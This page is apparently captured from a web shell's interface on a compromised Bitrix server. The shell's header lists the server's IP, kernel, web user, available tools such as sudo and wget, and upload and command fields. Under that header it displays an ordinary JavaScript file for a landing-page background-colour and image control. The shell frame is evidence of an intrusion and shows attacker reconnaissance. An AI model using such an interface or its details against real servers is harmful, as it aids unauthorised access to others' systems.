403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/color/src/processor/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/color/src/processor/bg.js
import {Tag, Type, Loc, Dom} from 'main.core';
import {BaseEvent} from "main.core.events";

import BgColor from './bg_color';
import Image from '../control/image/image';
import ColorSet from '../control/color_set/color_set';

import ColorValue from "../color_value";
import BgImageValue from '../bg_image_value';
import {IColorValue} from '../types/i_color_value';
import Opacity from '../control/opacity/opacity';
import Tabs from '../layout/tabs/tabs';
import GradientValue from '../gradient_value';
import Primary from '../layout/primary/primary';
import Zeroing from '../layout/zeroing/zeroing';
import {defaultBgImageSize, defaultBgImageAttachment} from "../types/color_value_options";
import rgbaStringToRgbString from '../internal/rgba-string-to-rgb-string';

export default class Bg extends BgColor
{
	static BG_URL_VAR: string = '--bg-url';
	static BG_URL_2X_VAR: string = '--bg-url-2x';
	static BG_OVERLAY_VAR: string = '--bg-overlay';
	static BG_SIZE_VAR: string = '--bg-size';
	static BG_ATTACHMENT_VAR: string = '--bg-attachment';
	static BG_IMAGE: string = 'background-image';

	constructor(options)
	{
		super(options);
		this.setEventNamespace('BX.Landing.UI.Field.Processor.Bg');
		this.styleNode = options.styleNode;
		this.parentVariableName = this.variableName;
		this.variableName = [
			this.parentVariableName,
			Bg.BG_URL_VAR,
			Bg.BG_URL_2X_VAR,
			Bg.BG_OVERLAY_VAR,
			Bg.BG_SIZE_VAR,
			Bg.BG_ATTACHMENT_VAR,
			Bg.BG_IMAGE,
		];
		this.parentClassName = this.className;
		this.className = 'g-bg-image';

		this.image = new Image(options);
		this.image.subscribe('onChange', this.onImageChange.bind(this));

		this.overlay = new ColorSet(options);
		this.overlay.subscribe('onChange', this.onOverlayColorChange.bind(this));
		this.overlayOpacity = new Opacity({defaultOpacity: 0.5});
		this.overlayOpacity.subscribe('onChange', this.onOverlayOpacityChange.bind(this));
		this.overlayPrimary = new Primary();
		this.overlayPrimary.subscribe('onChange', this.onOverlayPrimaryChange.bind(this));
		const overlayZeroingOptions = {
			textCode: 'LANDING_FIELD_COLOR_OVERLAY_ZEROING_TITLE_2',
			styleNode: options.styleNode,
		};
		this.overlayZeroing = new Zeroing(overlayZeroingOptions);
		this.overlayZeroing.subscribe('onChange', this.overlayZeroingChange.bind(this));

		this.imageTabs = new Tabs().appendTab(
			'Overlay',
			Loc.getMessage('LANDING_FIELD_COLOR-BG_OVERLAY'),
			[this.overlay, this.overlayPrimary, this.overlayZeroing, this.overlayOpacity],
		);

		this.bigTabs = new Tabs()
			.setBig(true)
			.appendTab(
				'Color',
				Loc.getMessage('LANDING_FIELD_COLOR-BG_COLOR'),
				[this.colorSet, this.primary, this.zeroing, this.tabs],
			)
			.appendTab(
				'Image',
				Loc.getMessage('LANDING_FIELD_COLOR-BG_IMAGE'),
				[this.image, this.imageTabs],
			);
	}

	buildLayout(): HTMLElement
	{
		return Tag.render`
			<div class="landing-ui-field-color-color">
				${this.bigTabs.getLayout()}
			</div>
		`;
	}

	onColorSetChange(event: BaseEvent)
	{
		this.image.unsetActive();
		this.overlay.unsetActive();

		super.onColorSetChange(event);
	}

	onGradientChange(event: BaseEvent)
	{
		this.image.unsetActive();
		this.overlay.unsetActive();

		super.onGradientChange(event);
	}

	onImageChange()
	{
		// todo: can drop image from b_landing_file after change
		this.unsetActive();

		this.activeControl = this.image;
		this.image.setActive();

		this.modifyStyleNode(this.styleNode);
	}

	onOverlayChange(event: BaseEvent)
	{
		const overlayValue = event.getData().color;
		if (overlayValue !== null)
		{
			overlayValue.setOpacity(this.overlayOpacity.getValue().getOpacity());
		}
		this.overlayOpacity.setValue(overlayValue);

		const imageValue = this.image.getValue();
		if (imageValue !== null)
		{
			this.image.setValue(imageValue.setOverlay(overlayValue));
			this.activeControl = this.image;
			this.image.setActive();
			this.colorSet.unsetActive();
			this.gradient.unsetActive();
		}

		this.modifyStyleNode(this.styleNode);
	}

	onOverlayOpacityChange()
	{
		this.modifyStyleNode(this.styleNode);
	}

	onOverlayColorChange(event: BaseEvent)
	{
		this.overlayPrimary.unsetActive();
		this.overlayZeroing.unsetActive();
		this.onOverlayChange(event);
	}

	onOverlayPrimaryChange(event: BaseEvent)
	{
		this.overlay.unsetActive();
		this.overlayZeroing.unsetActive();
		this.onOverlayChange(event);
	}

	overlayZeroingChange(event: BaseEvent)
	{
		this.overlay.unsetActive();
		this.overlayPrimary.unsetActive();
		this.overlayZeroing.setActive();
		this.onOverlayChange(event);
	}

	unsetActive()
	{
		super.unsetActive();
		this.image.unsetActive();
	}

	/**
	 * Set value by new format
	 */
	setProcessorValue(value: {string: string}): void
	{
		this.cache.delete('value');
		this.setValue(value);
	}

	setValue(value: {string: string} | string | null): void
	{
		this.image.setValue(null);
		this.bigTabs.showTab('Color');

		if (Type.isNull(value))
		{
			super.setValue(value);
		}
		else if (Type.isString(value))
		{
			super.setValue(value);
		}
		else if (this.parentVariableName in value && Type.isString(value[this.parentVariableName]))
		{
			super.setValue(value[this.parentVariableName]);
		}
		else if (Type.isObject(value))
		{
			// todo: super.setValue null?
			const bgValue = new BgImageValue();
			if (Bg.BG_URL_VAR in value)
			{
				bgValue.setUrl(value[Bg.BG_URL_VAR].replace(/url\(["']/i, '').replace(/['"]\)/i, ''));
			}
			if (Bg.BG_URL_2X_VAR in value)
			{
				bgValue.setUrl2x(value[Bg.BG_URL_2X_VAR].replace(/url\(["']/i, '').replace(/['"]\)/i, ''));
			}
			if (Bg.BG_SIZE_VAR in value)
			{
				bgValue.setSize(value[Bg.BG_SIZE_VAR]);
			}
			if (Bg.BG_ATTACHMENT_VAR in value)
			{
				bgValue.setAttachment(value[Bg.BG_ATTACHMENT_VAR]);
			}
			if (Bg.BG_OVERLAY_VAR in value)
			{
				bgValue.setOverlay(new ColorValue(value[Bg.BG_OVERLAY_VAR]));
			}
			this.image.setValue(bgValue);
			this.bigTabs.showTab('Image');
			this.activeControl = this.image;

			this.imageTabs.showTab('Overlay');
			if (Bg.BG_OVERLAY_VAR in value)
			{
				const overlayValue = new ColorValue(value[Bg.BG_OVERLAY_VAR]);
				this.overlay.setValue(overlayValue);
				this.overlayOpacity.setValue(overlayValue);
				if (value[Bg.BG_OVERLAY_VAR].startsWith('var(--primary') || value['isPrimaryBasedColor'] === true)
				{
					this.overlayPrimary.setActive();
					this.overlay.unsetActive();
				}
			}
			else
			{
				this.overlayZeroing.setActive();
			}
		}
	}

	// todo: create base value instead interface. In this case can return ALL types, color, grad, bg
	getValue(): ?IColorValue
	{
		return this.cache.remember('value', () => {
			if (this.activeControl === this.image)
			{
				const imageValue = this.image.getValue();
				let overlayValue;
				let isActive = false;
				if (this.overlay.isActive())
				{
					overlayValue = this.overlay.getValue();
					isActive = true;
				}
				if (this.overlayPrimary.isActive())
				{
					overlayValue = this.overlayPrimary.getValue();
					isActive = true;
				}
				if (this.overlayZeroing.isActive())
				{
					overlayValue = null;
				}
				if (imageValue !== null && overlayValue !== null && isActive)
				{
					overlayValue.setOpacity(this.overlayOpacity.getValue().getOpacity());
					imageValue.setOverlay(overlayValue);
				}

				return imageValue;
			}
			else
			{
				return super.getValue();
			}
		});
	}

	getClassName(): [string]
	{
		const value = this.getValue();
		if (value === null || value instanceof ColorValue || value instanceof GradientValue)
		{
			return [this.parentClassName];
		}

		return [this.className];
	}

	// todo: what about fileid?
	getStyle(): {string: ?string}
	{
		if (this.getValue() === null)
		{
			// todo: not null, but what?
			return {
				[this.parentVariableName]: null,
				[Bg.BG_URL_VAR]: null,
				[Bg.BG_URL_2X_VAR]: null,
				[Bg.BG_OVERLAY_VAR]: null,
				[Bg.BG_SIZE_VAR]: null,
				[Bg.BG_ATTACHMENT_VAR]: null,
			};
		}

		const value = this.getValue();
		let color = null;
		let image = null;
		let image2x = null;
		let overlay = null;
		let size = null;
		let attachment = null;
		const backgroundImage = '';
		if (value instanceof ColorValue || value instanceof GradientValue)
		{
			// todo: need change class if not a image?
			color = value.getStyleString();
		}
		else
		{
			image = value.getUrl() ? `url('${value.getUrl()}')` : '';
			image2x = value.getUrl2x() ? `url('${value.getUrl2x()}')` : '';
			overlay = value.getOverlay() ? value.getOverlay().getStyleString() : 'rgba(0, 0, 0, 0)';
			size = value.getSize();
			attachment = value.getAttachment();
		}

		return {
			[this.parentVariableName]: color,
			[Bg.BG_URL_VAR]: image,
			[Bg.BG_URL_2X_VAR]: image2x ? image2x : image,
			[Bg.BG_OVERLAY_VAR]: overlay,
			[Bg.BG_SIZE_VAR]: size,
			[Bg.BG_ATTACHMENT_VAR]: attachment,
			[Bg.BG_IMAGE]: backgroundImage,
		};
	}

	modifyStyleNode(styleNode)
	{
		Dom.style(styleNode.getNode()[0], Bg.BG_IMAGE, '');
		this.onChange();
	}

	prepareProcessorValue(processorValue, defaultValue)
	{
		if (defaultValue && defaultValue.hasOwnProperty(Bg.BG_IMAGE))
		{
			const regUrl = /url\(/i;
			const searchUrl = defaultValue[Bg.BG_IMAGE].match(regUrl);
			if (searchUrl !== null)
			{
				processorValue[Bg.BG_IMAGE] = '';
				processorValue[Bg.BG_SIZE_VAR] = defaultBgImageSize;
				processorValue[Bg.BG_ATTACHMENT_VAR] = defaultBgImageAttachment;
				const regUrl = /image-set\(url\(/i;
				const searchUrl = defaultValue[Bg.BG_IMAGE].match(regUrl);
				if (searchUrl !== null)
				{
					const regSearchUrl = /["'](https?:\/)?\/[\S]*["']/gi;
					const search = defaultValue[Bg.BG_IMAGE].match(regSearchUrl);
					if (search)
					{
						const regReplace = /["']/g;
						processorValue[Bg.BG_URL_VAR] = search[0].replaceAll(regReplace, '');
						if (search.length === 2)
						{
							processorValue[Bg.BG_URL_2X_VAR] = search[1].replaceAll(regReplace, '');
						}
						else
						{
							processorValue[Bg.BG_URL_2X_VAR] = search[0].replaceAll(regReplace, '');
						}
					}
				}
				else
				{
					processorValue[Bg.BG_URL_VAR] = defaultValue[Bg.BG_IMAGE];
					processorValue[Bg.BG_URL_2X_VAR] = defaultValue[Bg.BG_IMAGE];
				}
				const computedStyleNode = getComputedStyle(this.styleNode.getNode()[0], ':after');
				if (!processorValue[Bg.BG_OVERLAY_VAR])
				{
					processorValue[Bg.BG_OVERLAY_VAR] = computedStyleNode.backgroundColor;
				}
				const currentColorRgb = rgbaStringToRgbString(computedStyleNode.backgroundColor);
				const primaryColorRgb = rgbaStringToRgbString(computedStyleNode.getPropertyValue('--primary-opacity-0'));
				if (
					currentColorRgb !== null
					&& primaryColorRgb !== null
					&& currentColorRgb === primaryColorRgb
				)
				{
					processorValue['isPrimaryBasedColor'] = true;
				}
			}
		}
		return processorValue;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit